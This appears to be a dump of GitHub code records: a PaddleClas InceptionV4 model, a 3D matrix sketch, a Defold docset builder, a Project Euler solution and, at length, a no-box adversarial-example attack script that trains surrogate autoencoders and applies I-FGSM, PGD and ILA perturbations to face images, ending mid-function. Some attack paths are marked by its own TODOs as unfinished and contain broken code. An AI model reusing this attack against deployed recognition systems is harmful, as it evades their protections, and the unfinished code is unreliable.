AdaptiveAvgPool2D(1)\n self._drop = Dropout(p=0.2, mode=\"downscale_in_infer\")\n stdv = 1.0 / math.sqrt(1536 * 1.0)\n self.out = Linear(\n 1536,\n class_num,\n weight_attr=ParamAttr(\n initializer=Uniform(-stdv, stdv), name=\"final_fc_weights\"),\n bias_attr=ParamAttr(name=\"final_fc_offset\"))\n\n def forward(self, inputs):\n x = self._inception_stem(inputs)\n\n x = self._inceptionA_1(x)\n x = self._inceptionA_2(x)\n x = self._inceptionA_3(x)\n x = self._inceptionA_4(x)\n x = self._reductionA(x)\n\n x = self._inceptionB_1(x)\n x = self._inceptionB_2(x)\n x = self._inceptionB_3(x)\n x = self._inceptionB_4(x)\n x = self._inceptionB_5(x)\n x = self._inceptionB_6(x)\n x = self._inceptionB_7(x)\n x = self._reductionB(x)\n\n x = self._inceptionC_1(x)\n x = self._inceptionC_2(x)\n x = self._inceptionC_3(x)\n\n x = self.avg_pool(x)\n x = paddle.squeeze(x, axis=[2, 3])\n x = self._drop(x)\n x = self.out(x)\n return x\n\n\ndef _load_pretrained(pretrained, model, model_url, use_ssld=False):\n if pretrained is False:\n pass\n elif pretrained is True:\n load_dygraph_pretrain_from_url(model, model_url, use_ssld=use_ssld)\n elif isinstance(pretrained, str):\n load_dygraph_pretrain(model, pretrained)\n else:\n raise RuntimeError(\n \"pretrained type is not available. Please use `string` or `boolean` type.\"\n )\n\n\ndef InceptionV4(pretrained=False, use_ssld=False, **kwargs):\n model = InceptionV4DY(**kwargs)\n _load_pretrained(\n pretrained, model, MODEL_URLS[\"InceptionV4\"], use_ssld=use_ssld)\n return model\n","repo_name":"PaddlePaddle/PaddleClas","sub_path":"ppcls/arch/backbone/model_zoo/inception_v4.py","file_name":"inception_v4.py","file_ext":"py","file_size_in_byte":14944,"program_lang":"python","lang":"en","doc_type":"code","stars":5081,"dataset":"github-code","pt":"3"} +{"seq_id":"71020281362","text":"xmin = -10\nxmax = 10\n\nymin = -10\nymax = 10\n\nrangex = xmax - xmin\nrangey = ymax - ymin\n\nfmatrix = [[0,0,0],[1,0,0],[1,2,0],[2,2,0],[2,3,0],[1,3,0],[1,4,0],[3,4,0],[3,5,0],[0,5,0],\n [0,0,1],[1,0,1],[1,2,1],[2,2,1],[2,3,1],[1,3,1],[1,4,1],[3,4,1],[3,5,1],[0,5,1]]\nedges = [[0,1],[1,2],[2,3],[3,4],[4,5],[5,6],[6,7],\n [7,8],[8,9],[9,0],\n [10,11],[11,12],[12,13],[13,14],[14,15],[15,16],[16,17],\n [17,18],[18,19],[19,10],\n [0,10],[1,11],[2,12],[3,13],[4,14],[5,15],[6,16],[7,17],\n [8,18],[9,19]]\n\ntransformation_matrix = [[0,-1],[1,0]]\n\ndef setup():\n global xscl, yscl\n size(600,600)\n xscl= width/rangex\n yscl= -height/rangey\n noFill()\n\ndef draw():\n global xscl, yscl\n background(255)\n translate(width/2,height/2)\n grid(xscl, yscl)\n\n strokeWeight(2)\n stroke(0)\n graphPoints(fmatrix,edges)\n\n rot = map(mouseX,0,width,0,TWO_PI)\n tilt = map(mouseY,0,height,0,TWO_PI)\n newmatrix = transpose(multmatrix(rottilt(rot,tilt),transpose(fmatrix)))\n stroke(255,0,0)\n graphPoints(newmatrix,edges)\n\n\ndef grid(xscl,yscl):\n strokeWeight(1)\n stroke(0,255,255)\n for i in range(xmin,xmax+1):\n line(i*xscl,ymin*yscl,i*xscl,ymax*yscl)\n for i in range(ymin,ymax+1):\n line(xmin*xscl,i*yscl,xmax*xscl,i*yscl)\n stroke(0)\n line(0,ymin*yscl,0,ymax*yscl)\n line(xmin*xscl,0,xmax*xscl,0)\n\ndef graphPoints(pointList,edges):\n for e in edges:\n line(pointList[e[0]][0]*xscl,pointList[e[0]][1]*yscl,\n pointList[e[1]][0]*xscl,pointList[e[1]][1]*yscl)\n\ndef addMatrices(a,b):\n C = [[a[0][0]+b[0][0],a[0][1]+b[0][1]],\n [a[1][0]+b[1][0],a[1][1]+b[1][1]]]\n return C\n\ndef multmatrix(a,b):\n m = len(a)\n n = len(b[0])\n newmatrix = []\n for i in range(m):\n row = []\n for j in range(n):\n sum1 = 0\n for k in range(len(b)):\n sum1 += a[i][k]*b[k][j]\n row.append(sum1)\n newmatrix.append(row)\n return newmatrix\n\ndef rottilt(rot,tilt):\n rotmatrix_Y = [[cos(rot),0.0,sin(rot)],\n [0.0,1.0,0.0],\n [-sin(rot),0.0,cos(rot)]]\n rotmatrix_X = [[1.0,0.0,0.0],\n [0.0,cos(tilt),sin(tilt)],\n [0.0,-sin(tilt),cos(tilt)]]\n return multmatrix(rotmatrix_Y,rotmatrix_X)\n\ndef transpose(a):\n output = []\n m = len(a)\n n = len(a[0])\n for i in range(n):\n output.append([])\n for j in range(m):\n # 把a[j][i]赋给output[i][j]\n output[i].append(a[j][i])\n return output","repo_name":"alarm10086/python_learn_math","sub_path":"s2/p8/p8_10/matrices3D.pyde","file_name":"matrices3D.pyde","file_ext":"pyde","file_size_in_byte":2566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22799988650","text":"#! /usr/bin/python3\n\nimport argparse\nimport logging\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--input-src\", type=str, help=\"Source input file\", required=True)\n parser.add_argument(\"--input-trg\", type=str, help=\"Target input file\", required=True)\n\n parser.add_argument(\"--output-src\", type=str, help=\"Source output file\", required=True)\n parser.add_argument(\"--output-trg\", type=str, help=\"Target output file\", required=True)\n\n args = parser.parse_args()\n\n return args\n\n\ndef main():\n\n args = parse_args()\n\n logging.basicConfig(level=logging.DEBUG)\n logging.debug(args)\n\n total = 0\n skipped = 0\n\n with open(args.input_src, \"r\") as handle_input_src, \\\n open(args.input_trg, \"r\") as handle_input_trg, \\\n open(args.output_src, \"w\") as handle_output_src, \\\n open(args.output_trg, \"w\") as handle_output_trg:\n\n for src_line, trg_line in zip(handle_input_src, handle_input_trg):\n\n if src_line.strip() == \"\" or trg_line.strip() == \"\":\n skipped += 1\n else:\n handle_output_src.write(src_line)\n handle_output_trg.write(trg_line)\n\n total += 1\n\n logging.debug(\"Skipped %d parallel lines out of %d total.\" % (skipped, total))\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ZurichNLP/understanding-mbr","sub_path":"scripts/remove_if_source_or_target_empty.py","file_name":"remove_if_source_or_target_empty.py","file_ext":"py","file_size_in_byte":1347,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"3"} +{"seq_id":"12082412643","text":"#!/usr/bin/env python3\nfrom urllib.request import urlopen\nfrom subprocess import call\n\nimport os\nimport re\nimport sys\nimport json\nimport shutil\nimport urllib\nimport sqlite3\nimport zipfile\nimport string\n\n# path definitions\nREF_PATH = \"ref\"\nJSON_PATH = \"json\"\n\n# filenames definitions\nDOC_ZIP = \"refdoc.zip\"\nDB_FILE = \"docset.dsidx\"\n\ndef get():\n\tsys.stdout.write(\"Downloading...\")\n\tinfo_file = urlopen(\"http://d.defold.com/stable/info.json\")\n\tinfo = json.loads(urlopen(\"http://d.defold.com/stable/info.json\").read())\n\tinfo_file.close()\n\tos.remove(DOC_ZIP) if os.path.exists(DOC_ZIP) else None\n\turllib.request.urlretrieve(\"http://d.defold.com/archive/\" + info[\"sha1\"] + \"/engine/share/ref-doc.zip\", DOC_ZIP)\n\ndef cleanup():\n\tsys.stdout.write(\"Cleaning...\")\n\tshutil.rmtree(JSON_PATH) if os.path.exists(JSON_PATH) else None\n\tos.remove(DOC_ZIP) if os.path.exists(DOC_ZIP) else None\n\tos.remove(DB_FILE) if os.path.exists(DB_FILE) else None\n\ndef unzip():\n\tsys.stdout.write(\"Unpacking...\")\n\tshutil.rmtree(JSON_PATH) if os.path.exists(JSON_PATH) else None\n\twith zipfile.ZipFile(DOC_ZIP) as zf: zf.extractall(JSON_PATH)\n\ndef create():\n\tsys.stdout.write(\"Creating...\")\n\n\t# create all paths\n\tshutil.rmtree(REF_PATH) if os.path.exists(REF_PATH) else None\n\tos.makedirs(REF_PATH)\n\n\t# create sqlite db\n\twith sqlite3.connect(\"docset.dsidx\") as db:\n\n\t\tcursor = db.cursor()\n\t\ttry: cursor.execute('DROP TABLE searchIndex;')\n\t\texcept: pass\n\n\t\tcursor.execute('CREATE TABLE searchIndex(id INTEGER PRIMARY KEY, name TEXT, type TEXT, path TEXT);')\n\t\t# make sure duplicates are ignored\n\t\t# cursor.execute('CREATE UNIQUE INDEX anchor ON searchIndex (name, type, path);')\n\n\t\tindex_html = \"\"\n\n\t\tfor root, dir, files in os.walk(JSON_PATH):\n\n\t\t\tfor file in files:\n\n\t\t\t\twith open(os.path.join(root, file), \"r\") as fh:\n\n\t\t\t\t\tif file.endswith(\".json\"):\n\t\t\t\t\t\tclass_name = file.replace(\"_doc.json\", \"\")\n\t\t\t\t\t\tclass_path = class_name + \".html\"\n\t\t\t\t\t\tclass_doc = \"\"\n\n\t\t\t\t\t\tparsed_json = json.load(fh)\n\t\t\t\t\t\tinfo = parsed_json[\"info\"]\n\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + info[\"name\"] + \"

    \\n\"\n\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + info[\"description\"] + \"

    \\n\"\n\t\t\t\t\t\tindex_html = index_html + \"\" + class_name + \"\" + info[\"brief\"] + \"
    \"\n\n\t\t\t\t\t\tfor element in parsed_json[\"elements\"]:\n\t\t\t\t\t\t\tfunction_name = element[\"name\"]\n\n\t\t\t\t\t\t\tif function_name != \"\":\n\t\t\t\t\t\t\t\tentry_type = \"Function\"\n\n\t\t\t\t\t\t\t\tif element[\"type\"] == \"VARIABLE\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Variable\"\n\n\t\t\t\t\t\t\t\telif element[\"type\"] == \"MESSAGE\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Command\"\n\n\t\t\t\t\t\t\t\telif element[\"type\"] == \"PROPERTY\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Property\"\n\n\t\t\t\t\t\t\t\telif element[\"type\"] == \"MACRO\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Macro\"\n\n\t\t\t\t\t\t\t\telif element[\"type\"] == \"TYPEDEF\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Type\"\n\n\t\t\t\t\t\t\t\telif element[\"type\"] == \"ENUM\":\n\t\t\t\t\t\t\t\t\tentry_type = \"Enum\"\n\n\t\t\t\t\t\t\t\tfunction_path = class_path + \"#\" + function_name\n\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + function_name + (\"()\" if entry_type == \"Function\" else \"\") + \"

    \"\n\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \" + element[\"brief\"] + \"
    \"\n\n\t\t\t\t\t\t\t\tif element[\"description\"] != \"\":\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + element[\"description\"] + \"

    \"\n\n\t\t\t\t\t\t\t\tif element.get(\"note\", \"\") != \"\":\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    Note: \" + element[\"note\"] + \"

    \"\n\n\t\t\t\t\t\t\t\tif len(element[\"parameters\"]) > 0:\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    PARAMETERS

    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\t\tfor parameter in element[\"parameters\"]:\n\t\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + parameter[\"name\"] + parameter[\"doc\"] + \"

    \"\n\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\tif len(element[\"members\"]) > 0:\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    MEMBERS

    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\t\tfor member in element[\"members\"]:\n\t\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + member[\"name\"] + \" - \" + member[\"doc\"] + \"

    \"\n\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\tif len(element[\"returnvalues\"]) > 0:\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    RETURN

    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\t\tfor returnvalue in element[\"returnvalues\"]:\n\t\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + returnvalue[\"name\"] + \" - \" + returnvalue[\"doc\"] + \"

    \"\n\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\tif element[\"examples\"] != \"\":\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    EXAMPLES

    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"

    \" + element[\"examples\"] + \"

    \"\n\t\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\n\t\t\t\t\t\t\t\tclass_doc = class_doc + \"
    \"\n\t\t\t\t\t\t\t\tcursor.execute('INSERT OR IGNORE INTO searchIndex(name, type, path) VALUES (?,?,?)', (function_name, entry_type, \"ref/\" + function_path))\n\n\t\t\t\t\t\twith open(os.path.join(REF_PATH, class_path), \"w\") as out:\n\t\t\t\t\t\t\tout.write(\"\")\n\t\t\t\t\t\t\tout.write(\"
    \")\n\t\t\t\t\t\t\tout.write(\"Home\")\n\t\t\t\t\t\t\tout.write(\"
    \")\n\t\t\t\t\t\t\tout.write(class_doc.replace(\"\")\n\n\t\t\t\t\t\tcursor.execute('INSERT OR IGNORE INTO searchIndex(name, type, path) VALUES (?,?,?)', (class_name, 'Module', \"ref/\" + class_path))\n\n\t\twith open(os.path.join(\".\", \"index.html\"), \"w\") as out:\n\t\t\tout.write(\"\")\n\t\t\tout.write(index_html)\n\t\t\tout.write(\"\")\n\nget()\nunzip()\ncreate()\ncleanup()\nprint(\"DONE!\")\n","repo_name":"otapliger/defold-api","sub_path":"defold/createdocset.py","file_name":"createdocset.py","file_ext":"py","file_size_in_byte":5836,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5981473881","text":"from math import ceil,sqrt\n\nK = 12000\n# minPS[k] is minPS for k=k\nminPS = [float('Inf') for _ in range(K+1)]\n\n#T = [ [],\n #[],\n #[],\n #[],\n #[2]\n #]\n\nT = [ [1] for _ in range(K*3) ]\n\nfor k in range(4,K*3):\n for fac in range(2,ceil(sqrt(k))+1):\n if k == int(k/fac)*fac:\n diff = k-(int(k/fac)+fac)\n for p in T[fac]:\n for q in T[int(k/fac)]:\n T[k].append(p+q+diff)\n if (p+q+diff) >= len(minPS):\n continue\n minPS[p+q+diff] = min(minPS[p+q+diff],k)\n\nprint(sum(set([ps for ps in minPS if ps!=float('Inf')])))\n\n","repo_name":"hjtran/project_euler","sub_path":"p088.py","file_name":"p088.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1309312417","text":"### from https://github.com/qizhangli/nobox-attacks\n\nimport os\nimport time\nimport argparse\n\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom torch.backends import cudnn\n\nfrom attacks.no_box.utils import *\n\nimport torchvision\nimport torchvision.transforms as T\n\n## TRAIN\n\ndef train_unsupervised(\n model, optimizer, permute_fun,\n iter_ind, img,\n n_iters\n):\n img_input = img\n img_tar = img.clone()\n since = time.time()\n # mini-batch - img is a single batch, we're fitting to it\n for i in range(n_iters):\n for img_ind in range(img_input.shape[0]):\n permute_fun(img_input, img_ind)\n # if args.mode == 'rotate':\n # img_input[img_ind:img_ind + 1] = rot(img_input[img_ind:img_ind + 1])\n # elif args.mode == 'jigsaw':\n # img_input[img_ind] = shuffle(img_input[img_ind], 1)\n outputs, _ = model(img_input)\n loss = nn.MSELoss()(outputs[0], img_tar)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n if (i + 1) % 100 == 0:\n print(iter_ind + 1, i + 1, round(loss.item(), 5), '{} s'.format(int(time.time() - since)))\n return model\n\n# TODO: fix. Need to get the prototype_inds working\ndef train_prototypical(\n model, optimizer, \n iter_ind, img,\n batch_size, n_imgs_per_person, \n n_decoders, n_iters, \n # prototype_ind_csv_writer,\n do_aug,\n):\n # if n_imgs_per_person == 1:\n # tar_ind_ls = [0, 1]\n # else:\n # tar_ind_ls = mk_proto_ls(n_imgs_per_person, batch_size)\n # tar_ind_ls = tar_ind_ls[:n_decoders * 2]\n # print(tar_ind_ls.tolist())\n tar_ind_ls = [0, n_imgs_per_person]# + [1]*n_imgs_per_person\n # print(tar_ind_ls)\n # prototype_ind_csv_writer.writerow(tar_ind_ls.tolist())\n img_tar = img[tar_ind_ls]\n if n_decoders != 1:\n img_tar = F.interpolate(img_tar, (56, 56))\n since = time.time()\n for i in range(n_iters):\n rand_ind = torch.cat(\n (\n torch.randint(0, n_imgs_per_person, size=(1,)), \n torch.randint(n_imgs_per_person, batch_size, size=(1,))\n )\n )\n img_input = img[rand_ind].clone()\n\n if do_aug:\n img_input = aug(img_input)\n \n assert img_input.shape[3] == 224\n \n outputs, _ = model(img_input)\n gen_img = torch.cat(outputs, dim=0)\n loss = nn.MSELoss()(gen_img, img_tar)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if (i + 1) % 100 == 0:\n print(iter_ind + 1, i + 1, round(loss.item(), 5), '{} s'.format(int(time.time() - since)))\n return model\n\ndef train_supervised(\n model, optimizer, \n iter_ind, img,\n batch_size, n_imgs_per_person, \n n_iters, \n do_aug,\n):\n target = [0]*n_imgs_per_person + [1]*n_imgs_per_person\n # print(tar_ind_ls)\n # prototype_ind_csv_writer.writerow(tar_ind_ls.tolist())\n # img_tar = img[tar_ind_ls]\n # if n_decoders != 1:\n # img_tar = F.interpolate(img_tar, (56, 56))\n since = time.time()\n for i in range(n_iters):\n rand_ind = torch.randint(0, batch_size, size=(1,))\n \n iter_input = img[rand_ind].clone()\n iter_target = target[rand_ind].clone()\n\n if do_aug:\n iter_input = aug(iter_input)\n \n assert iter_input.shape[3] == 224\n \n outputs, _ = model(iter_input)\n if i == 0:\n print('model outputs, targets:', outputs, iter_target)\n\n # gen_img = torch.cat(outputs, dim=0)\n loss = nn.MSELoss()(outputs, iter_target)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if (i + 1) % 100 == 0:\n print('model outputs, targets:', outputs, iter_target)\n print(iter_ind + 1, i + 1, round(loss.item(), 5), '{} s'.format(int(time.time() - since)))\n\n return model\n\ndef train_loop(\n device,\n n_decoders, surrogate, lr, n_iters, mode,\n data_loader, batch_size, n_imgs_per_person, save_dir,\n start_idx, end_idx,\n force_retrain\n):\n if mode == 'naive':\n permute = naive\n if mode == 'jigsaw':\n permute = jigsaw\n if mode == 'rotate':\n permute = rotate\n\n for iter_ind, (img, targ) in enumerate(data_loader):\n if not start_idx <= iter_ind < end_idx:\n continue\n\n model_name = save_dir.split('/')[-2:]\n model_save_dir = os.path.join(save_dir, 'models', '{}.pth'.format(iter_ind))\n if not force_retrain and os.path.exists(model_save_dir):\n print('Model [{} {}] [{}] already trained, not re-running'.format(\n model_name[0], model_name[1], iter_ind\n ))\n continue\n print('Training model [{} {}] [{}]'.format(\n model_name[0], model_name[1], iter_ind\n ))\n\n model = initialize_model(surrogate, n_decoders, device)\n\n model.train()\n optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n img = img.to(device)\n\n if mode == 'supervised':\n train_supervised(\n model, optimizer,\n iter_ind, img,\n batch_size, n_imgs_per_person,\n n_iters,\n True\n )\n elif mode == 'prototypical':\n train_prototypical(\n model, optimizer, \n iter_ind, img,\n batch_size, n_imgs_per_person, \n n_decoders, n_iters, \n True\n )\n else:\n model = train_unsupervised(\n model=model, \n optimizer=optimizer, \n permute_fun=permute, \n iter_ind=iter_ind, \n img=img, \n n_iters=n_iters\n )\n\n model.eval()\n torch.save(model.state_dict(), model_save_dir)\n\n## ATTACK\ndef attack_ila(model, device, ori_img, tar_img, attack_niters, eps):\n model.eval()\n ori_img = ori_img.to(device)\n img = ori_img.clone()\n with torch.no_grad():\n _, tar_h_feats = model(tar_img)\n _, ori_h_feats = model(ori_img)\n for i in range(attack_niters):\n img.requires_grad_(True)\n _, att_h_feats = model(img)\n loss = ILA()(ori_h_feats.detach(), tar_h_feats.detach(), att_h_feats)\n if (i+1) % 50 == 0:\n print('\\r ila attacking {}, {:0.4f}'.format(i+1, loss.item()),end=' ')\n loss.backward()\n input_grad = img.grad.data.sign()\n img = img.data + 1. / 255 * input_grad\n img = torch.where(img > ori_img + eps, ori_img + eps, img)\n img = torch.where(img < ori_img - eps, ori_img - eps, img)\n img = torch.clamp(img, min=0, max=1)\n print('')\n return img.data\n\ndef attack_ce_unsupervised(\n model, device, \n ori_img, \n attack_niters, eps, alpha, \n batch_size, n_imgs_per_person,\n ce_method\n):\n model.eval()\n ori_img = ori_img.to(device)\n nChannels = 3\n tar_img = []\n for i in range(n_imgs_per_person):\n tar_img.append(ori_img[[i, n_imgs_per_person + i]])\n for i in range(n_imgs_per_person):\n tar_img.append(ori_img[[n_imgs_per_person+i, i]])\n tar_img = torch.cat(tar_img, dim=0)\n tar_img = tar_img.reshape(batch_size,2,nChannels,224,224)\n img = ori_img.clone()\n\n if ce_method == 'pgd':\n # In our implementation of PGD, we incorporate randomness at each iteration to further enhance the transferability\n method = lambda img : img + img.new(img.size()).uniform_(-eps, eps)\n elif ce_method == 'ifgsm':\n method = lambda img : img\n\n for i in range(attack_niters):\n img_x = method(img)\n img_x.requires_grad_(True)\n outs, _ = model(img_x)\n outs = outs[0].unsqueeze(1).repeat(1, 2, 1, 1, 1)\n loss_mse_ = nn.MSELoss(reduction='none')(outs, tar_img).sum(dim = (2,3,4)) / (nChannels*224*224)\n loss_mse = - alpha * loss_mse_\n label = torch.tensor([0]*batch_size).long().to(device)\n loss = nn.CrossEntropyLoss()(loss_mse,label)\n if (i+1) % 50 == 0 or i == 0:\n print('\\r attacking {}, {:0.4f}'.format(i, loss.item()), end=' ')\n loss.backward()\n input_grad = img_x.grad.data.sign()\n img = img.data + 1. / 255 * input_grad\n img = torch.where(img > ori_img + eps, ori_img + eps, img)\n img = torch.where(img < ori_img - eps, ori_img - eps, img)\n img = torch.clamp(img, min=0, max=1)\n print('')\n return img.data\n\ndef attack_ce_supervised(\n model, device, \n ori_img, \n attack_niters, eps, alpha, n_decoders, \n ce_method, \n batch_size, n_imgs_per_person,\n):\n model.eval()\n ori_img = ori_img.to(device)\n\n target = [0]*n_imgs_per_person + [1]*n_imgs_per_person\n # print(prototype_inds)\n # tar_img = []\n # for i in range(n_decoders):\n # tar_img.append(ori_img[prototype_inds[0], prototype_inds[1]])\n # # tar_img.append(ori_img[[prototype_inds[2*i],prototype_inds[2*i+1]]])\n # tar_img = torch.cat(tar_img, dim = 0)\n\n nChannels = 3\n if n_decoders == 1:\n decoder_size = 224\n else:\n decoder_size = 56\n # tar_img = F.interpolate(tar_img, size=(56,56))\n\n # tar_img = tar_img.reshape(n_decoders,2,nChannels,decoder_size,decoder_size).unsqueeze(1)\n # tar_img = tar_img.repeat(1,batch_size,1,1,1,1).reshape(batch_size*n_decoders,2,nChannels,decoder_size,decoder_size)\n img = ori_img.clone()\n\n for i in range(attack_niters):\n if ce_method == 'ifgsm':\n img_x = img\n elif ce_method == 'pgd':\n img_x = img + img.new(img.size()).uniform_(-eps, eps)\n\n img_x.requires_grad_(True)\n \n outs, _ = model(img_x)\n # outs = torch.cat(outs, dim = 0).unsqueeze(1).repeat(1,2,1,1,1)\n # loss_mse_ = nn.MSELoss(reduction='none')(\n # outs, target\n # ).sum(dim = (2,3,4)) / (nChannels*decoder_size*decoder_size)\n\n # loss_mse = - alpha * loss_mse_\n label = torch.tensor(([0]*n_imgs_per_person+[1]*n_imgs_per_person)*n_decoders).long().to(device)\n loss = nn.CrossEntropyLoss()(outs,label)\n \n if (i+1) % 50 == 0 or i == 0:\n print('attacking {}, {:0.4f}'.format(i, loss.item()))\n\n loss.backward()\n\n input_grad = img_x.grad.data.sign()\n img = img.data + 1. / 255 * input_grad\n img = torch.where(img > ori_img + eps, ori_img + eps, img)\n img = torch.where(img < ori_img - eps, ori_img - eps, img)\n img = torch.clamp(img, min=0, max=1)\n print('')\n return img.data\n\n# TODO: fix. Need to get the prototype_inds working\ndef attack_ce_prototypical(\n model, device, \n ori_img, \n attack_niters, eps, alpha, n_decoders, \n ce_method, \n batch_size, n_imgs_per_person, \n):\n model.eval()\n ori_img = ori_img.to(device)\n\n prototype_inds = [0, n_imgs_per_person]# + [1]*n_imgs_per_person\n # print(prototype_inds)\n tar_img = []\n for i in range(n_decoders):\n tar_img.append(ori_img[[prototype_inds[0], prototype_inds[1]]])\n # tar_img.append(ori_img[[prototype_inds[2*i],prototype_inds[2*i+1]]])\n tar_img = torch.cat(tar_img, dim = 0)\n\n nChannels = 3\n if n_decoders == 1:\n decoder_size = 224\n else:\n decoder_size = 56\n tar_img = F.interpolate(tar_img, size=(56,56))\n\n tar_img = tar_img.reshape(n_decoders,2,nChannels,decoder_size,decoder_size).unsqueeze(1)\n tar_img = tar_img.repeat(1,batch_size,1,1,1,1).reshape(batch_size*n_decoders,2,nChannels,decoder_size,decoder_size)\n img = ori_img.clone()\n\n for i in range(attack_niters):\n if ce_method == 'ifgsm':\n img_x = img\n elif ce_method == 'pgd':\n img_x = img + img.new(img.size()).uniform_(-eps, eps)\n img_x.requires_grad_(True)\n outs, _ = model(img_x)\n outs = torch.cat(outs, dim = 0).unsqueeze(1).repeat(1,2,1,1,1)\n loss_mse_ = nn.MSELoss(reduction='none')(outs,tar_img).sum(dim = (2,3,4))/(nChannels*decoder_size*decoder_size)\n loss_mse = - alpha * loss_mse_\n label = torch.tensor(([0]*n_imgs_per_person+[1]*n_imgs_per_person)*n_decoders).long().to(device)\n loss = nn.CrossEntropyLoss()(loss_mse,label)\n if (i+1) % 50 == 0 or i == 0:\n print('attacking {}, {:0.4f}'.format(i, loss.item()))\n\n loss.backward()\n\n input_grad = img_x.grad.data.sign()\n img = img.data + 1. / 255 * input_grad\n img = torch.where(img > ori_img + eps, ori_img + eps, img)\n img = torch.where(img < ori_img - eps, ori_img - eps, img)\n img = torch.clamp(img, min=0, max=1)\n print('')\n return img.data\n\ndef attack_loop(\n device, \n n_decoders, surrogate, mode,\n ce_niters, ce_epsilon, ce_alpha, ce_method,\n ila_niters, ila_epsilon,\n data_loader, batch_size, n_imgs_per_person,\n save_dir,\n start_idx, end_idx\n):\n for data_ind, (original_img, _) in enumerate(data_loader):\n if not start_idx <= data_ind < end_idx:\n continue\n print('loading model', save_dir.split('/')[-2], data_ind)\n model = initialize_model(surrogate, n_decoders, device)\n model.load_state_dict(torch.load(os.path.join(save_dir, 'models', '{}.pth'.format(data_ind))))\n \n model.eval()\n original_img = original_img.to(device)\n\n if mode == 'supervised':\n old_att_img = attack_ce_supervised(\n model, device, \n original_img, \n ce_niters, ce_epsilon, ce_alpha, n_decoders, \n ce_method, \n batch_size, n_imgs_per_person,\n )\n elif mode == 'prototypical':\n # prototype_ind_csv = open(ae_dir+'/prototype_ind.csv', 'r')\n # prototype_ind_ls = list(csv.reader(prototype_ind_csv))\n old_att_img = attack_ce_prototypical(\n model, device, n_decoders=n_decoders, \n ori_img=original_img, \n attack_niters=ce_niters, eps=ce_epsilon, alpha=ce_alpha, \n ce_method=ce_method, \n batch_size=batch_size, n_imgs_per_person=n_imgs_per_person\n )\n else:\n old_att_img = attack_ce_unsupervised(\n model, device, original_img, \n attack_niters = ce_niters, eps = ce_epsilon, alpha=ce_alpha, \n batch_size=batch_size, n_imgs_per_person = n_imgs_per_person,\n ce_method=ce_method\n )\n\n att_img = attack_ila(\n model, device, original_img, old_att_img, \n ila_niters, eps=ila_epsilon\n )\n # TODO: save the image\n for save_ind in range(batch_size):\n # file_path, file_name = dataset.imgs[data_ind * 2*n_imgs + save_ind][0].split('/')[-2:]\n fname = os.path.basename(data_loader.dataset.data[data_ind * batch_size + save_ind])\n # fname = data_loader.dataset.data[data_ind * batch_size + save_ind].split('/')[-1]\n\n # file_dir = fpath[-3] + '/' + fpath[-2]\n # file_name = fpath[-1]\n img_save_dir = os.path.join(save_dir, 'images', str(data_ind))\n os.makedirs(img_save_dir, exist_ok=True)\n img_save_path = os.path.join(img_save_dir, fname.split('.')[0] + '.png')\n # print('saving image at:', img_save_path)\n save_attack_img(\n att_img[save_ind],\n img_save_path\n # os.path.join()\n # img_save_dir + fname.split('.')[0] + '.png'\n )\n print('\\r', data_ind * batch_size + save_ind, 'images saved.', end=' ')\n\ndef main(\n data_loader,\n batch_size=20,\n train=True,\n force_retrain=False,\n n_iters=15000, \n n_decoders=1,\n lr=0.001, \n surrogate='resnet',\n mode='jigsaw', \n ce_epsilon=0.3,\n ce_niters=200,\n ce_alpha=1.0,\n ce_method='ifgsm',\n ila_epsilon=0.1,\n ila_niters=100,\n start_idx = 0,\n end_idx=2500,\n save_dir='./attacks/no_box', \n seed=0\n):\n surrogate = surrogate.lower()\n assert surrogate in ['resnet', 'vgg', 'resnet_pretrained', 'vgg_pretrained'], 'unrecognized surrogate model!'\n\n assert batch_size % 2 == 0, 'Batch size must be even'\n n_imgs_per_person = batch_size // 2\n\n assert n_decoders <= n_imgs_per_person**2, 'Too many decoders'\n # probably should only have one 